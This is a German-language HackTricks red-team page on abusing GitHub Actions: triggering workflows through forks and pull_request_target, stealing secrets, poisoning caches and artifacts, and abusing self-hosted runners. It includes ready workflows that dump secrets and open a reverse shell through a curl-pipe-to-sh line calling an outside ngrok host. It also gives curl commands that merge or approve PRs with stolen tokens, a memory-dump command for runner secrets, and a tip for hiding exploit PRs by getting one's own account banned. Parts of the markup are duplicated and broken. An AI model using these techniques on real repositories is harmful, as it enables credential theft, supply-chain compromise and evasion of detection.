Abusing Github Actions

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.

Grundlegende Informationen

Auf dieser Seite finden Sie:

Eine Zusammenfassung aller Auswirkungen, wenn ein Angreifer Zugriff auf eine Github-Action erhält.
Unterschiedliche Möglichkeiten, um Zugriff auf eine Aktion zu erhalten:
- Berechtigungen zum Erstellen der Aktion haben
- Ausnutzen von Pull-Request-bezogenen Triggern
- Ausnutzen von anderen externen Zugriffstechniken
- Pivotieren von einem bereits kompromittierten Repository
Schließlich einen Abschnitt über Post-Exploitation-Techniken zur Ausnutzung einer Aktion von innen heraus (verursacht die genannten Auswirkungen)

Zusammenfassung der Auswirkungen

Für eine Einführung zu Github Actions überprüfen Sie die grundlegenden Informationen.

Falls Sie beliebige Github-Aktionen ausführen/Code einschleusen können in einem Repository, könnten Sie in der Lage sein:

Die Geheimnisse aus diesem Repo/Organisation zu stehlen.
Wenn Sie nur einschleusen können, können Sie alles stehlen, was bereits im Workflow vorhanden ist.
Missbrauch von Repo-Berechtigungen, um auf andere Plattformen wie AWS und GCP zuzugreifen.
Code in benutzerdefinierten Workern ausführen (falls benutzerdefinierte Worker verwendet werden) und von dort aus versuchen zu pivotieren.
Repository-Code überschreiben.
Dies hängt von den Berechtigungen des GITHUB_TOKEN ab (falls vorhanden).
Beeinträchtigung von Bereitstellungen und anderen Artefakten.
Wenn der Code etwas bereitstellt oder speichert, könnten Sie das ändern und weiteren Zugriff erhalten.

GITHUB_TOKEN

Dieses "Geheimnis" (aus ${{ secrets.GITHUB_TOKEN }} und ${{ github.token }}) wird gegeben, wenn der Administrator diese Option aktiviert:

Dieses Token ist dasselbe, das eine Github-Anwendung verwenden wird, sodass es auf die gleichen Endpunkte zugreifen kann: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github sollte einen Ablauf veröffentlichen, der cross-repository-Zugriff innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mithilfe des GITHUB_TOKEN zugreifen kann.

Sie können die möglichen Berechtigungen dieses Tokens unter https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token einsehen.

Beachten Sie, dass das Token nach Abschluss des Jobs abläuft. Diese Tokens sehen so aus: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Einige interessante Dinge, die Sie mit diesem Token tun können:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

Beachten Sie, dass Sie in mehreren Fällen GitHub-Benutzertoken in den Umgebungsvariablen oder in den Secrets von GitHub Actions finden können. Diese Tokens können Ihnen mehr Rechte über das Repository und die Organisation geben.

Liste Secrets im GitHub Action-Output auf

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Erhalten Sie eine Reverse-Shell mit Geheimnissen

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Es ist möglich, die Berechtigungen zu überprüfen, die einem Github-Token in den Repositories anderer Benutzer überprüfen der Logs der Aktionen:

Erlaubte Ausführung

Dies wäre der einfachste Weg, um Github-Aktionen zu kompromittieren, da in diesem Fall davon ausgegangen wird, dass Sie Zugriff haben, um ein neues Repo in der Organisation zu erstellen, oder Schreibrechte über ein Repository haben.

Wenn Sie sich in diesem Szenario befinden, können Sie einfach die Post-Exploitation-Techniken überprüfen.

Ausführung durch Erstellung eines Repos

Wenn Mitglieder einer Organisation neue Repos erstellen können und Sie Github-Aktionen ausführen können, können Sie ein neues Repo erstellen und die auf Organisationsebene festgelegten Secrets stehlen.

Ausführung von einem neuen Branch

Wenn Sie einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält, können Sie diese ändern, den Inhalt hochladen und dann diese Aktion vom neuen Branch ausführen. Auf diese Weise können Sie Repository- und Organisationsebene Secrets exfiltrieren (aber Sie müssen wissen, wie sie genannt werden).

Sie können die modifizierte Aktion manuell ausführbar machen, wenn ein PR erstellt wird oder wenn einige Codes gepusht werden (je nachdem, wie auffällig Sie sein möchten):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

Es gibt verschiedene Auslöser, die einem Angreifer ermöglichen könnten, eine Github-Action eines anderen Repositorys auszuführen. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer sie kompromittieren.

`pull_request`

Der Workflow-Auslöser pull_request führt den Workflow jedes Mal aus, wenn ein Pull Request empfangen wird, mit einigen Ausnahmen: Standardmäßig muss, wenn es sich um das erste Mal handelt, dass Sie zusammenarbeiten, ein Maintainer die Ausführung des Workflows genehmigen:

Da die Standardbeschränkung für **Erstbeiträger gilt, könnten Sie dazu beitragen, einen gültigen Fehler/Tippfehler zu beheben und dann weitere PRs senden, um Ihre neuen pull_request-Berechtigungen zu missbrauchen.

Ich habe dies getestet und es funktioniert nicht: ~~Eine andere Möglichkeit wäre, ein Konto mit dem Namen einer Person zu erstellen, die zum Projekt beigetragen hat und ihr Konto gelöscht hat.~~

Darüber hinaus verhindert standardmäßig Schreibberechtigungen und Zugriff auf Secrets auf das Ziel-Repository, wie in der Dokumentation erwähnt:

Mit Ausnahme von GITHUB_TOKEN werden Secrets nicht an den Runner übergeben, wenn ein Workflow von einem geforkten Repository ausgelöst wird. Das GITHUB_TOKEN hat Leseberechtigungen in Pull Requests aus geforkten Repositories.

Ein Angreifer könnte die Definition der Github-Action ändern, um beliebige Dinge auszuführen und beliebige Aktionen anzuhängen. Er wird jedoch nicht in der Lage sein, Secrets zu stehlen oder das Repo zu überschreiben, aufgrund der genannten Einschränkungen.

Ja, wenn der Angreifer in der PR die Github-Action ändert, die ausgelöst wird, wird seine Github-Action verwendet und nicht die aus dem Ursprungs-Repo!

Da der Angreifer auch den ausgeführten Code kontrolliert, könnte ein Angreifer beispielsweise bösartige Artefakte hochladen, auch wenn es keine Secrets oder Schreibberechtigungen auf dem GITHUB_TOKEN gibt.

`pull_request_target`

Der Workflow-Auslöser pull_request_target hat Schreibberechtigungen für das Ziel-Repository und Zugriff auf Secrets (und fragt nicht um Erlaubnis).

Beachten Sie, dass der Workflow-Auslöser pull_request_target im Basis-Kontext und nicht im Kontext des PRs ausgeführt wird (um nicht vertrauenswürdigen Code auszuführen). Für weitere Informationen zu pull_request_target überprüfen Sie die Dokumentation. Darüber hinaus finden Sie weitere Informationen zu dieser spezifischen gefährlichen Verwendung in diesem Github-Blog-Beitrag.

Es mag so aussehen, als ob, weil der ausgeführte Workflow der im Basis definierte ist und nicht im PR, es sicher ist, pull_request_target zu verwenden, aber es gibt einige Fälle, in denen es nicht sicher ist.

Und dieser wird Zugriff auf Secrets haben.

`workflow_run`

Der workflow_run-Auslöser ermöglicht es, einen Workflow aus einem anderen Workflow auszuführen, wenn er abgeschlossen, angefordert oder in_progress ist.

In diesem Beispiel ist ein Workflow so konfiguriert, dass er nach Abschluss des separaten Workflows "Run Tests" ausgeführt wird:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Darüber hinaus kann der Workflow, der durch das Ereignis workflow_run gestartet wird, Geheimnisse abrufen und Tokens schreiben, selbst wenn der vorherige Workflow dies nicht konnte.

Ein solcher Workflow könnte angegriffen werden, wenn er von einem Workflow abhängt, der von einem externen Benutzer über pull_request oder pull_request_target ausgelöst werden kann. Ein paar anfällige Beispiele finden Sie in diesem Blog. Das erste Beispiel besteht darin, dass der durch workflow_run ausgelöste Workflow den Code des Angreifers herunterlädt: ${{ github.event.pull_request.head.sha }} Das zweite Beispiel besteht darin, ein Artefakt aus dem nicht vertrauenswürdigen Code an den workflow_run-Workflow zu übergeben und den Inhalt dieses Artefakts auf eine Weise zu verwenden, die ihn anfällig für RCE macht.

`workflow_call`

TODO

TODO: Überprüfen Sie, ob bei Ausführung aus einem pull_request der verwendete/heruntergeladene Code von der Ursprungsquelle oder von der geforkten PR stammt

Missbrauch von geforkter Ausführung

Wir haben alle Möglichkeiten eines externen Angreifers erwähnt, wie er einen GitHub-Workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen bei schlechter Konfiguration missbraucht werden könnten:

Ausführung nicht vertrauenswürdiger Checkouts

Im Fall von pull_request wird der Workflow im Kontext des PRs ausgeführt (daher wird der bösartige PR-Code ausgeführt), aber jemand muss ihn zuerst autorisieren und er wird mit einigen Einschränkungen ausgeführt.

Wenn ein Workflow pull_request_target oder workflow_run verwendet, der von einem Workflow abhängt, der von pull_request_target oder pull_request ausgelöst werden kann, wird der Code aus dem Original-Repository ausgeführt, sodass der Angreifer den ausgeführten Code nicht kontrollieren kann.

Wenn die Aktion jedoch ein explizites PR-Checkout hat, das den Code aus dem PR (und nicht aus dem Basiscode) holt, wird der vom Angreifer kontrollierte Code verwendet. Zum Beispiel (überprüfen Sie Zeile 12, wo der PR-Code heruntergeladen wird):

# UNSICHER. Nur als Beispiel bereitgestellt.
on:
pull_request_target

jobs:
build:
name: Build und Test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Danke!

Der potenziell nicht vertrauenswürdige Code wird während npm install oder npm build ausgeführt, da die Build-Skripte und referenzierten Pakete vom Autor des PRs kontrolliert werden.

Ein GitHub-Dork zur Suche nach anfälligen Aktionen ist: event.pull_request pull_request_target extension:yml, es gibt jedoch verschiedene Möglichkeiten, die Jobs sicher auszuführen, auch wenn die Aktion unsicher konfiguriert ist (z. B. Verwendung von Bedingungen, um festzustellen, wer den PR generiert).

Kontextskript-Injektionen

Beachten Sie, dass es bestimmte GitHub-Kontexte gibt, deren Werte vom Benutzer kontrolliert werden, der den PR erstellt. Wenn die GitHub-Aktion diese Daten verwendet, um etwas auszuführen, könnte dies zu beliebiger Codeausführung führen:

pageGh Actions - Context Script Injections

GITHUB_ENV-Skriptinjektion

Laut Dokumentation: Sie können eine Umgebungsvariable für alle nachfolgenden Schritte in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die GITHUB_ENV-Umgebungsdatei schreiben.

Wenn ein Angreifer einen Wert in diese env-Variable einschleusen könnte, könnte er Umgebungsvariablen einschleusen, die in folgenden Schritten wie LD_PRELOAD oder NODE_OPTIONS Code ausführen könnten.

Zum Beispiel (hier und hier), stellen Sie sich einen Workflow vor, der ein hochgeladenes Artefakt vertraut, um dessen Inhalt in der GITHUB_ENV-Umgebungsvariable zu speichern. Ein Angreifer könnte etwas wie dies hochladen, um es zu kompromittieren:

Anfällige Drittanbieter-Github-Aktionen

dawidd6/action-download-artifact

Wie in diesem Blogbeitrag erwähnt, ermöglicht diese GitHub-Aktion den Zugriff auf Artefakte aus verschiedenen Workflows und sogar Repositories.

Das Problem besteht darin, dass wenn der path-Parameter nicht festgelegt ist, das Artefakt im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später verwendet oder sogar im Workflow ausgeführt werden könnten. Daher könnte ein Angreifer, wenn das Artefakt anfällig ist, dies missbrauchen, um andere Workflows zu kompromittieren, die dem Artefakt vertrauen.

Beispiel eines anfälligen Workflows:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Dies könnte mit diesem Workflow angegriffen werden:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Andere externe Zugriffe

Gelöschtes Namespace-Repo-Hijacking

Wenn ein Konto seinen Namen ändert, könnte ein anderer Benutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein Repository vor der Namensänderung weniger als 100 Sterne hatte, wird Github dem neuen registrierten Benutzer mit demselben Namen erlauben, ein Repository mit demselben Namen wie das gelöschte zu erstellen.

Wenn also eine Aktion ein Repository von einem nicht existierenden Konto verwendet, ist es immer noch möglich, dass ein Angreifer dieses Konto erstellt und die Aktion kompromittiert.

Wenn andere Repositories Abhängigkeiten von den Repositories dieses Benutzers verwendeten, wird ein Angreifer in der Lage sein, sie zu übernehmen. Hier finden Sie eine ausführlichere Erklärung: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo-Pivotisierung

In diesem Abschnitt werden Techniken besprochen, die es ermöglichen würden, von einem Repository zu einem anderen zu pivotieren, vorausgesetzt, wir haben auf das erste irgendwie Zugriff (überprüfen Sie den vorherigen Abschnitt).

Cache-Vergiftung

Ein Cache wird zwischen Workflow-Läufen im selben Branch aufrechterhalten. Das bedeutet, dass wenn ein Angreifer ein Paket kompromittiert, das dann im Cache gespeichert und von einem höher privilegierten Workflow heruntergeladen und ausgeführt wird, er auch diesen Workflow kompromittieren kann.

pageGH Actions - Cache Poisoning

Artefakt-Vergiftung

Workflows könnten Artefakte aus anderen Workflows und sogar Repositories verwenden, wenn es einem Angreifer gelingt, die Github-Aktion zu kompromittieren, die ein Artefakt hochlädt, das später von einem anderen Workflow verwendet wird, könnte er die anderen Workflows kompromittieren:

pageGh Actions - Artifact Poisoning

Post-Exploitation aus einer Aktion

Zugriff auf AWS und GCP über OIDC

Überprüfen Sie die folgenden Seiten:

pageAWS - Federation Abuse pageGCP - Federation Abuse

Zugriff auf Geheimnisse

Wenn Sie Inhalte in ein Skript einfügen, ist es interessant zu wissen, wie Sie auf Geheimnisse zugreifen können:

Wenn das Geheimnis oder Token auf eine Umgebungsvariable gesetzt ist, kann es direkt über die Umgebung mit printenv abgerufen werden.

Geheimnisse im Github Action-Output auflisten

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Erhalten Sie eine Reverse-Shell mit Geheimnissen</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Wenn das Geheimnis direkt in einem Ausdruck verwendet wird, wird das generierte Shell-Skript auf der Festplatte gespeichert und ist zugänglich.

cat /home/runner/work/_temp/*

* Für JavaScript-Aktionen werden die Geheimnisse über Umgebungsvariablen übermittelt
* ```bash
ps axe | grep node

Für eine benutzerdefinierte Aktion kann das Risiko je nachdem, wie ein Programm das aus dem Argument erhaltenen Geheimnis verwendet, variieren:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Missbrauch von selbstgehosteten Runnern

Der Weg, um herauszufinden, welche Github-Aktionen in nicht-Github-Infrastruktur ausgeführt werden, besteht darin, nach runs-on: self-hosted in der Konfigurations-YAML der Github-Aktion zu suchen.

Selbstgehostete Runner könnten Zugriff auf zusätzlich sensible Informationen haben, auf andere Netzwerksysteme (verwundbare Endpunkte im Netzwerk? Metadatendienst?) oder, selbst wenn es isoliert und zerstört wird, könnten mehr als eine Aktion gleichzeitig ausgeführt werden und die bösartige Aktion könnte die Geheimnisse der anderen stehlen.

Bei selbstgehosteten Runnern ist es auch möglich, die Geheimnisse aus dem _Runner.Listener_** Prozess** zu erhalten, der alle Geheimnisse der Workflows in jedem Schritt enthält, indem sein Speicher gedumpt wird:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Überprüfen Sie diesen Beitrag für weitere Informationen.

Github Docker-Images-Registry

Es ist möglich, Github-Aktionen zu erstellen, die ein Docker-Image innerhalb von Github erstellen und speichern. Ein Beispiel finden Sie im folgenden ausklappbaren Bereich:

Github-Aktion zum Erstellen und Pushen von Docker-Image

```yaml [...]

name: Set up Docker Buildx uses: docker/setup-buildx-action@v1
name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}
name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Wie Sie im vorherigen Code sehen konnten, wird das Github-Register unter **`ghcr.io`** gehostet.

Ein Benutzer mit Leseberechtigungen für das Repository kann dann das Docker-Image mithilfe eines persönlichen Zugriffstokens herunterladen:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Dann könnte der Benutzer nach geleakten Geheimnissen in den Docker-Image-Schichten suchen:

Sensible Informationen in Github Actions-Protokollen

Auch wenn Github versucht, geheime Werte zu erkennen in den Aktionsprotokollen und vermeidet, sie anzuzeigen, werden andere sensible Daten, die während der Ausführung der Aktion generiert wurden, nicht versteckt. Zum Beispiel wird ein mit einem geheimen Wert signiertes JWT nicht versteckt, es sei denn, es ist speziell konfiguriert.

Spuren verwischen

(Technik von hier) Zunächst einmal ist jedes erstellte PR in Github für die Öffentlichkeit und das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig keinen PR aus dem Internet löschen, aber es gibt einen Trick. Für Github-Konten, die von Github gesperrt wurden, werden alle ihre PRs automatisch gelöscht und aus dem Internet entfernt. Um Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr GitHub-Konto sperren lassen oder Ihr Konto markieren lassen. Dadurch werden alle Ihre Aktivitäten auf GitHub vor dem Internet verborgen (im Grunde genommen werden alle Ihre Exploit-PRs entfernt).

Eine Organisation in GitHub ist sehr proaktiv darin, Konten bei GitHub zu melden. Alles, was Sie tun müssen, ist, "ein paar Dinge" in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden gesperrt wird :p und da haben Sie es, Ihren Exploit auf GitHub unsichtbar gemacht.

Der einzige Weg für eine Organisation herauszufinden, dass sie angegriffen wurde, besteht darin, die GitHub-Protokolle aus SIEM zu überprüfen, da der PR aus der GitHub-Benutzeroberfläche entfernt würde.

Tools

Die folgenden Tools sind nützlich, um Github Action-Workflows zu finden und sogar verwundbare zu finden:

PreviousGithub Security NextGh Actions - Artifact Poisoning

Last updated 1 month ago